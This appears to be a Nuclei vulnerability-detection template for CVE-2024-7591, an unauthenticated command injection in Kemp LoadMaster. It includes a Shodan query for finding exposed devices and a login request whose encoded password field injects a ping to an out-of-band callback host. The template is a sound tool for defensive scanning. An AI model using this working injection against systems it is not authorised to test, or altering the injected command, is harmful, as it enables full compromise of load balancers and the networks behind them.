id: CVE-2024-7591 info: name: Kemp LoadMaster Load Balancer - Unauthenticated Command Injection author: iamnoooob,rootxharsh,pdresearch severity: critical description: | Improper Input Validation vulnerability in Progress LoadMaster allows OS Command Injection.This issue affects: LoadMaster: 7.2.40.0 and above. ECS: All versions.Multi-Tenancy: 7.1.35.4 and above. impact: | Unauthenticated attackers can execute arbitrary OS commands on the LoadMaster load balancer through command injection, achieving complete system compromise with potential to pivot to backend infrastructure. remediation: | Apply security updates from Kemp Technologies as specified in their security advisory for LoadMaster versions 7.2.40.0 and above, ECS all versions, and Multi-Tenancy 7.1.35.4 and above. reference: - https://insinuator.net/2024/11/vulnerability-disclosure-command-injection-in-kemp-loadmaster-load-balancer-cve-2024-7591/ - https://nvd.nist.gov/vuln/detail/cve-2024-7591 - https://support.kemptechnologies.com/hc/en-us/articles/29196371689613-LoadMaster-Security-Vulnerability-CVE-2024-7591 - https://insinuator.net/2024/11/vulnerability-disclosure-command-injection-in-kemp-loadmaster-load-balancer-cve-2024-7591 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2024-7591 cwe-id: CWE-78 epss-score: 0.42175 epss-percentile: 0.98515 cpe: cpe:2.3:a:kemptechnologies:loadmaster:*:*:*:*:*:*:*:* metadata: verified: true vendor: kemptechnologies product: loadmaster max-request: 2 shodan-query: html:"Kemp Login Screen" tags: cve,cve2024,loadmaster,rce,oast,kemptechnologies,vuln variables: oast: ".{{interactsh-url}}" payload: "{{padding(oast,'a',50,'prefix')}}" http: - raw: - | GET /progs/homepage HTTP/1.1 Host: {{Hostname}} extractors: - type: regex part: body name: token group: 1 regex: - 'value="(.*?)" name="token"' internal: true - type: regex part: body name: token2 group: 1 regex: - 'value="(.*?)" name="token2"' internal: true - raw: - | POST /progs/status/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded token={{token}}&token2={{token2}}&user=test&logsub=Login&pass=%01%78%78%78%78%78%78%78%27%3b%70%69%6e%67%20%2d%63%20%32%20{{payload}}%3b%65%63%68%6f%20%27%01& matchers: - type: dsl dsl: - contains(interactsh_protocol, 'dns') - contains_all(body, "alert(\"Login Failed\");", "2 packets transmitted") condition: and # digest: 4a0a00473045022040ff17ceb2a0e8acc00da9faf8f55f35a384d161c2e5b12aa86a498ab7af12d7022100fc6eddd222339518a33150c5dee9aae528eca1f7a2beea25b9d0f4a75cd70587:922c64590222798bb761d5b6d8e72950